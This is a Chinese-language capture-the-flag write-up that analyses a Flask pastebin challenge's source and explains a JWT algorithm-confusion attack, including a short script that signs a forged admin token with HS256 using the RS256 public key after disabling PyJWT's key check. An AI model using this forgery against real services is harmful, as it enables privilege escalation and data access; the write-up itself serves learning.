jwt(JSON Web Tokens)的一道题目代码分析

题目链接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6

参考链接 https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin?tdsourcetag=s_pctim_aiomsg
     https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/
     http://www.cnblogs.com/dliv3/p/7450057.html

虽然看着表哥的思路把题目解出来了,但还是云里雾里的,拿到源码分析一波把

  1 import os,time
  2 from flask import Flask, render_template, request,jsonify
  3 from flask_sqlalchemy import SQLAlchemy
  4 import jwt
  5 import string
  6 from Crypto import Random
  7 from Crypto.Hash import SHA
  8 from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
  9 from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
 10 from Crypto.PublicKey import RSA
 11 import base64
 12 import cgi
 13 from urllib import quote
 14 from urllib import unquote
 15 import hashlib
 16 import json
 17 
 18 
 19 app = Flask(__name__)
 20 app.secret_key = os.urandom(24)
 21 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pastebin.db'
 22 app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
 23 db = SQLAlchemy(app)
 24 random_generator = Random.new().read
 25 rsa = RSA.generate(1024, random_generator)
 26 
 27 class User(db.Model):
 28     __tablename__ = 'user'
 29     id = db.Column(db.Integer, primary_key=True)
 30     username = db.Column(db.Text)
 31     password = db.Column(db.Text)
 32     priv = db.Column(db.Text)
 33     key = db.Column(db.Text)
 34     token = db.Column(db.Text)
 35 
 36     def __init__(self, username, password, priv, key, token):
 37         self.username = username
 38         self.password = password
 39         self.priv = priv
 40         self.key = key
 41         self.token = token
 42 
 43     def __repr__(self):
 44         return '<User id:{}, username:{}, password:{}, priv:{}, key:{}, token:{}>'.format(self.id, self.username, self.password, self.priv, self.key, self.token)
 45 
 46 class Link(db.Model):
 47     __tablename__ = 'link'
 48     id = db.Column(db.Integer, primary_key=True)
 49     username = db.Column(db.Text)
 50     link = db.Column(db.Text)
 51     content = db.Column(db.Text)
 52 
 53     def __init__(self, username, link, content):
 54         self.username = username
 55         self.link = link
 56         self.content = content
 57 
 58     def __repr__(self):
 59         return '<Link id:{}, username:{}, link:{}, content:{}'.format(self.id, self.username, self.link, self.content)
 60 
 61 def defense(input_str):
 62     for c in input_str:
 63         if c not in string.letters and c not in string.digits:
 64             return False
 65     return True
 66 
 67 def getmd5(str):
 68     m = hashlib.md5()
 69     m.update(str)   
 70     return m.hexdigest()
 71 
 72 def getname(str, value):
 73     try:
 74         tmp = str.split('.')[1]
 75         while True:
 76             if len(tmp)%4 == 0:
 77                 break
 78             tmp = tmp + "="
 79         username = json.loads(base64.b64decode(tmp))['name']
 80     except:
 81         return False
 82     user = User.query.filter_by(username=username,).first()
 83     if not user:
 84         return False
 85     key_name = user.key
 86     with open('./pubkey/' + key_name + '.pem', 'r') as f:
 87         secret = f.read()
 88         # print(secret)
 89     try:
 90         de_user = jwt.decode(str, secret)
 91     except Exception as e:
 92         # print(e)
 93         return False
 94     # print(de_user)
 95     name = de_user[value]
 96     return name
 97 
 98 
 99 @app.route("/")
100 def index():
101     return render_template("index.html")
102 
103 @app.route("/user")
104 def user():
105     return render_template("user.html")
106 
107 @app.route("/reg",methods=['POST'])
108 def reg():
109     regname = request.form['regname']
110     if regname == "admin":
111         return jsonify(result=False,)
112     regpass = request.form['regpass']
113     if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
114         return jsonify(result=False,)
115     private_pem = rsa.exportKey()
116     public_pem = rsa.publickey().exportKey()  
117     key_name = getmd5(regname + regpass)
118     with open('./key/' + key_name + '.pem', 'w') as f:
119         f.write(private_pem)
120     with open('./pubkey/' + key_name + '.pem', 'w') as f:
121         f.write(public_pem)
122     if regname == "admin":
123         priv = "admin"
124     else:
125         priv = "other"
126     token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
127     user = User(regname, regpass, priv, key_name, token)
128     db.session.add(user)
129     db.session.commit()
130     return jsonify(result=True,)
131 @app.route("/login",methods=['POST'])
132 def login():
133     username = request.form['name']
134     password = request.form['pass']
135     if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
136         return jsonify(result=False,)
137     user = User.query.filter_by(username=username,password=password,).first()
138     if not user:
139         return jsonify(result=False,)
140     return jsonify(result=True,token=user.token,)
141 
142 @app.route("/paste",methods=['POST'])
143 def paste():
144     content = unquote(request.form['content'])
145     if len(content)>300:
146         return jsonify(result=False,)
147     try:
148         post_token = request.headers['Authorization'][7:]
149     except:
150         return jsonify(result=False,)
151     name = getname(post_token, "name")
152     if name == False:
153         return jsonify(result=False,)
154     if name == "admin":
155         return jsonify(result=False,)
156     link = getmd5(os.urandom(24))
157     content = cgi.escape(content)
158     li = Link(name, link, content)
159     db.session.add(li)
160     db.session.commit()
161     return jsonify(result=True,link=name+":"+link)
162 
163 @app.route("/list",methods=["GET"])
164 def list():
165     try:
166         post_token = request.headers['Authorization'][7:]
167     except:
168         return jsonify(result=False,)
169     name = getname(post_token, "name")
170     if name == False:
171         return jsonify(result=False,)
172     priv = getname(post_token, "priv")
173     if priv == False:
174         return jsonify(result=False,)
175     if priv == "other":
176         li = Link.query.filter_by(username=name,)
177         links = []
178         for lin in li:
179             links.append(name + ":" + lin.link)
180         return jsonify(result=True,username=name,links=links)
181     if priv == "admin":
182         li = Link.query.filter_by()
183         links = []
184         for lin in li:
185             links.append(lin.username + ":" + lin.link)
186         return jsonify(result=True,username="admin",links=links)
187 
188 @app.route("/pubkey/<key>",methods=["GET"])
189 def getkey(key):
190     try:
191         with open('./pubkey/' + key + '.pem', 'r') as f:
192             secret = f.read()
193         return jsonify(result=True,pubkey=secret,)
194     except:
195         return jsonify(result=False,)
196 
197 @app.route("/text/<link>",methods=["GET"])
198 def getcontent(link):
199     name = link.split(":")[0]
200     links = link.split(":")[1]
201     if defense(name) == False or defense(links) == False:
202         return jsonify(result=False,)
203     li = Link.query.filter_by(username=name,link=links,).first()
204     if not li:
205         return jsonify(result=False,)
206     return jsonify(result=True,content=li.content,)
207 
208 
209 app.run(debug=False,host='0.0.0.0')
View Code

是用flask写的先看注册的代码

 1 @app.route("/reg",methods=['POST'])
 2 def reg():
 3     regname = request.form['regname']
 4     if regname == "admin":
 5         return jsonify(result=False,)
 6     regpass = request.form['regpass']
 7     if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
 8         return jsonify(result=False,)
 9     private_pem = rsa.exportKey()
10     public_pem = rsa.publickey().exportKey()  
11     key_name = getmd5(regname + regpass)
12     with open('./key/' + key_name + '.pem', 'w') as f:
13         f.write(private_pem)
14     with open('./pubkey/' + key_name + '.pem', 'w') as f:
15         f.write(public_pem)
16     if regname == "admin":
17         priv = "admin"
18     else:
19         priv = "other"
20     token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
21     user = User(regname, regpass, priv, key_name, token)
22     db.session.add(user)
23     db.session.commit()
24     return jsonify(result=True,)

首先是不允许注册admin用户 其次会判断账号密码长度>5 且<20 然后会进入defen函数  

def defense(input_str):
    for c in input_str:
        if c not in string.letters and c not in string.digits:
            return False
    return True

跟进去发现是要求参数必须是

然后会生成rsa的公钥私钥

private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()

之后会把用户的私钥和公钥存放在目录中

key_name = getmd5(regname + regpass)
    with open('./key/' + key_name + '.pem', 'w') as f:
        f.write(private_pem)
    with open('./pubkey/' + key_name + '.pem', 'w') as f:
        f.write(public_pem)

命名格式为

getmd5(regname + regpass)

之后是给普通用户为other权限

再之后生成token

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

查阅资料如下

JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。
签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接收方验证信息是否被篡改的依据。

RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。

在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。

由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。

RS256为非对称的算法 

标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。

加密后入库保存 具体数据库操作代码就不追踪了,注册流程到这

接着看登陆的函数

@app.route("/login",methods=['POST'])
def login():
    username = request.form['name']
    password = request.form['pass']
    if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
        return jsonify(result=False,)
    user = User.query.filter_by(username=username,password=password,).first()
    if not user:
        return jsonify(result=False,)
    return jsonify(result=True,token=user.token,) 

逻辑上差不多就是个登陆验证,登陆成功后进入了主界面有两个功能

一个是存储的功能paste 另一个是查看功能看看你存储了哪些东西,先来看paste功能

@app.route("/paste",methods=['POST'])
def paste():
    content = unquote(request.form['content'])
    if len(content)>300:
        return jsonify(result=False,)
    try:
        post_token = request.headers['Authorization'][7:]
    except:
        return jsonify(result=False,)
    name = getname(post_token, "name")
    if name == False:
        return jsonify(result=False,)
    if name == "admin":
        return jsonify(result=False,)
    link = getmd5(os.urandom(24))
    content = cgi.escape(content)
    li = Link(name, link, content)
    db.session.add(li)
    db.session.commit()
    return jsonify(result=True,link=name+":"+link)

接受传进来的参数content 并且长度不能大于300 获取http头中的参数

post_token = request.headers['Authorization'][7:]

然后从Authorization解析出name变量来

name = getname(post_token, "name")

跟进getname函数

def getname(str, value):
    try:
        tmp = str.split('.')[1]
        while True:
            if len(tmp)%4 == 0:
                break
            tmp = tmp + "="
        username = json.loads(base64.b64decode(tmp))['name']
    except:
        return False
    user = User.query.filter_by(username=username,).first()
    if not user:
        return False
    key_name = user.key
    with open('./pubkey/' + key_name + '.pem', 'r') as f:
        secret = f.read()
        # print(secret)
    try:
        de_user = jwt.decode(str, secret)
    except Exception as e:
        # print(e)
        return False
    # print(de_user)
    name = de_user[value]
    return name

先用burpsuite抓包看看Authorzation是啥样

Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdGVyIiwicHJpdiI6Im90aGVyIn0.FTnXqCb7drMUhsKChxDWIDdG6_KkC7bFORthEhQJh5JamKMeUB4aNGYgh_M0UTcZGcN_3I0ElsboDA4QglrLZVtllzXAYpunHWWH15BDtMaFk7aqwxqRzBCyWDM7vjErq3YvzYBnguwtF_uaTtKWN9DvNSyVk0eP-hae13JBdRY

这就是用jwt 以rs256加密后的

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

有个解析的网站https://jwt.io/#debugger-io 扔进去看看

由3个部分组成的,由三个.分隔,分别是

header
payload
Sinature

每一部分都是base64编码的。

header

通常由两部分组成:令牌的类型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA

{
  "alg": "RS256",
  "typ": "JWT"
}

alg为算法的缩写,typ为类型的缩写,然后,这个JSON被Base64编码,形成JSON Web Token的第一部分。

payload

令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。 这里是用户随意定义的数据 例如上面的举例

{
  "name": "tester",
  "priv": "other"
}

Signature

要创建签名部分,必须采用header,payload,密钥。然后利用header中指定算法进行签名,例如RS256(RSA SHA256),签名的构成为:

RSASHA256(
  base64UrlEncode(header) + "." +base64UrlEncode(payload),
  
Public Key or Certificate. Enter it in plain text only if you want to verify a token
,
  
Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser.

)

HS256(HMAC SHA256),签名的构成为:

HMACSHA256(
  base64Encode(header) + "." +
  base64Encode(payload),
  secret)

继续看name函数

调试输出一下试试

username为当前用户名

然后根据用户名 进入数据库查到对应的公钥user.key并赋值给secret

user = User.query.filter_by(username=username,).first()

然后进入

de_user = jwt.decode(str, secret)

这里的str是刚才jwt.decode用私钥 以rs256的方式加密的,然后将公钥secret给他解密后 给de_user返回value

将内容打印出来

取所需要的value返回

走回paste函数往下走 这个类似php中转义xss的那个函数htmlbalbalba

cgi.escape(txt) #

这样paste函数就完事了

之后进入list函数

@app.route("/list",methods=["GET"])
def list():
    try:
        post_token = request.headers['Authorization'][7:]
    except:
        return jsonify(result=False,)
    name = getname(post_token, "name")
    if name == False:
        return jsonify(result=False,)
    priv = getname(post_token, "priv")
    if priv == False:
        return jsonify(result=False,)
    if priv == "other":
        li = Link.query.filter_by(username=name,)
        links = []
        for lin in li:
            links.append(name + ":" + lin.link)
        return jsonify(result=True,username=name,links=links)
    if priv == "admin":
        li = Link.query.filter_by()
        links = []
        for lin in li:
            links.append(lin.username + ":" + lin.link)
        return jsonify(result=True,username="admin",links=links)

首先通过获取到想要的值

name = getname(post_token, "name")
priv = getname(post_token, "priv")

接下来判断如果name的权限是other就返回该name的paste内容 是admin 就返回所有的paste内容

代码通读完了 大体功能也了解了 虽然不知道具体细节 但大体思路还是清楚的大概就是验证身份的时候存在问题

这其实是一个算法篡改攻击,因为服务器利用的RS256算法,用的是私钥进行签名,公钥进行验证的,(https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

查看js /static/js/common.js

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

可以通过这里找到自己私钥

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB\n-----END PUBLIC KEY-----","result":true}

规范下格式

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB -----END PUBLIC KEY-----

我们可以获取到自己的public key。JWT的header部分中,有签名算法标识alg,而alg是用于签名算法的选择,最后保证用户的数据不被篡改。但是在数据处理不正确的情况下,可能存在alg的恶意篡改。我们可以伪造算法为hs256,然后利用我们的获取的public key,来签名伪造的数据,绕过验证。PyJWT库中对这种攻击做了预防,不允许hs256的密钥中出现下面这些字符,具体见algorithms.py:151

直接注释掉

def prepare_key(self, key):
        key = force_bytes(key)
        return key
import jwt
public = open("1.txt",'r').read()
print jwt.encode({"name":"aoligei","priv":"admin"},key=public,algorithm='HS256')

生成的字符串替换掉对应的Authortion

list的时候再次进入get_name函数的时候

key_name = user.key
    with open('./pubkey/' + key_name + '.pem', 'r') as f:
        secret = f.read()

从数据库取出来的secret 和用通过pubkey目录的公钥是一样的 因为HS256是对称的所以直接解密即可 伪造一个admin权限绕过if 

 

posted @ 2019-05-16 17:14  奥利给胖虎  阅读(690)  评论(0编辑  收藏